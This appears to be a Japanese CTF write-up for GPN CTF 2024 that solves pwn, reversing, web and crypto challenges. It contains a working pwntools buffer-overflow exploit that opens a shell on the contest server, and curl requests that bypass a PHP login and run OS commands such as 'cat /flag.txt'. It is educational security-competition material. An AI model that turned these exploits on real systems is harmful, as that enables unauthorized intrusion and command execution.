GPN CTF 2024 Writeup

この大会は2024/5/31 19:00(JST)~2024/6/2 7:00(JST)に開催されました。
今回もチームで参戦。結果は292点で688チーム中216位でした。
自分で解けた問題をWriteupとして書いておきます。

You know the rules and so do I

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

GPNCTF{I'm_gonna_say_goodbye_now._Have_fun_with_the_other_challenges}

Never gonna give you UB (Pwning)

BOFでscratched_record関数をコールすれば良い。

$ gdb -q ./song_rater                         
Reading symbols from ./song_rater...
(No debugging symbols found in ./song_rater)
gdb-peda$ pattc 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/song_rater 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------

Please enter your song:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" is an excellent choice!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater")
RCX: 0x0 
RDX: 0x0 
RSI: 0x4052a0 ("\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy"...)
RDI: 0x7fffffffda90 --> 0x7fffffffdac0 ("GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\" is an excellent choice!\nyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%")
RBP: 0x2541322541632541 ('A%cA%2A%')
RSP: 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
RIP: 0x401238 (<main+96>:       ret)
R8 : 0xc0 
R9 : 0x1 
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffde98 --> 0x7fffffffe231 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x403e00 --> 0x401160 (<__do_global_dtors_aux>:    endbr64)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40122d <main+85>:  call   0x401080 <printf@plt>
   0x401232 <main+90>:  mov    eax,0x0
   0x401237 <main+95>:  leave
=> 0x401238 <main+96>:  ret
   0x401239:    add    BYTE PTR [rax],al
   0x40123b:    add    bl,dh
   0x40123d <_fini+1>:  nop    edx
   0x401240 <_fini+4>:  sub    rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0x7fffffffdd80 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0x7fffffffdd88 ("A%JA%fA%5A%KA%gA%6A%")
0024| 0x7fffffffdd90 ("5A%KA%gA%6A%")
0032| 0x7fffffffdd98 --> 0x7f0025413625 
0040| 0x7fffffffdda0 --> 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater")
0048| 0x7fffffffdda8 --> 0x929f0a842551a6db 
0056| 0x7fffffffddb0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401238 in main ()
gdb-peda$ patto HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% found at offset: 264
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('broken-strings--nelly-furtado-8043.ctf.kitctf.de', '443', ssl=True)
else:
    p = process('./song_rater')

elf = ELF('./song_rater')

scratched_record_addr = elf.symbols['scratched_record']

payload = b'A' * 264
payload += p64(scratched_record_addr)

data = p.recvuntil(b':\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

p.interactive()

実行結果は以下の通り。

[+] Opening connection to broken-strings--nelly-furtado-8043.ctf.kitctf.de on port 443: Done
[*] '/mnt/hgfs/Shared/song_rater'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Song rater v0.1
-------------------

Please enter your song:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@\x00\x00\x00\x00\x00'
b'"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@" is an excellent choice!'
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
song_rater
srv
sys
tmp
usr
var
$ cat flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}

Never gonna run around and reverse you (Reversing)

Ghidraでデコンパイルする。

undefined8 FUN_001011e9(int param_1,long param_2)

{
  char *__s;
  size_t sVar1;
  void *pvVar2;
  int local_20;
  
  if (param_1 < 2) {
    printf("Please provide a flag as an argument");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  __s = *(char **)(param_2 + 8);
  sVar1 = strlen(__s);
  pvVar2 = malloc((long)((int)sVar1 + 2));
  strcpy((char *)((long)pvVar2 + 1),__s);
  for (local_20 = 1; local_20 <= (int)sVar1; local_20 = local_20 + 1) {
    *(byte *)((long)pvVar2 + (long)local_20) =
         *(byte *)((long)pvVar2 + (long)local_20) ^ *(byte *)((long)pvVar2 + (long)local_20 + -1);
    printf("%02x",(ulong)(uint)(int)*(char *)((long)pvVar2 + (long)local_20));
  }
  putchar(10);
  return 0;
}

最初の1文字を除き、隣同士の文字のXORをしたものがhashファイルとして出力されている。このため、同様にしてフラグを復号できる。

#!/usr/bin/env python3
with open('hash', 'r') as f:
    enc = bytes.fromhex(f.read().rstrip())

flag = chr(enc[0])
for i in range(len(enc) - 1):
    flag += chr(enc[i] ^ enc[i + 1])
print(flag)
GPNCTF{W41t,_h0w_d1d_y0u_s0lv3_th1s?_I_th0ught_1t_w45_4_g00d_h45h}

Never gonna tell a lie and type you (Web)

dataにjson形式のデータを送信する必要がある。そのデータは以下の条件を満たす必要がある。

"user"のデータ === "admin&#129312;"
"password"のデータ == securePassword("password"のデータ)

この場合、"command"のデータをOSコマンドとして実行できる。また、UserAgentが"friendlyHuman"である必要がある。"e"を使って適当にパスワードを指定する。

$ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin&#129312;", "password": "1e1234", "command": "ls -l"}' -A "friendlyHuman"
object(stdClass)#1 (3) {
  ["user"]=>
  string(9) "admin&#129312;"
  ["password"]=>
  string(6) "1e1234"
  ["command"]=>
  string(5) "ls -l"
}
total 8
-rwxr--r--    1 root     root          1733 May 28 18:34 index.php
-rw-r--r--    1 nobody   nobody          41 May 23 23:20 test.html
 hail admin what can I get you -rw-r--r--    1 nobody   nobody          41 May 23 23:20 test.html

$ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin&#129312;", "password": "1e1234", "command": "cat /flag.txt"}' -A "friendlyHuman"
object(stdClass)#1 (3) {
  ["user"]=>
  string(9) "admin&#129312;"
  ["password"]=>
  string(6) "1e1234"
  ["command"]=>
  string(13) "cat /flag.txt"
}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
 hail admin what can I get you GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}

Never gonna let you crypto (Crypto)

鍵の長さは5で、XORで暗号化されている。フラグは"GPNCTF{"で始まることを前提に復号する。

#!/usr/bin/env python3
with open('FLAG.enc', 'r') as f:
    enc = bytes.fromhex(f.read().rstrip())

pre_flag = b'GPNCT'
key = []
for i in range(len(pre_flag)):
    key.append(pre_flag[i] ^ enc[i])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i % len(key)])
print(flag)
GPNCTF{One_T1me_p4ds_m4y_n3v3r_b3_r3u53d!!!}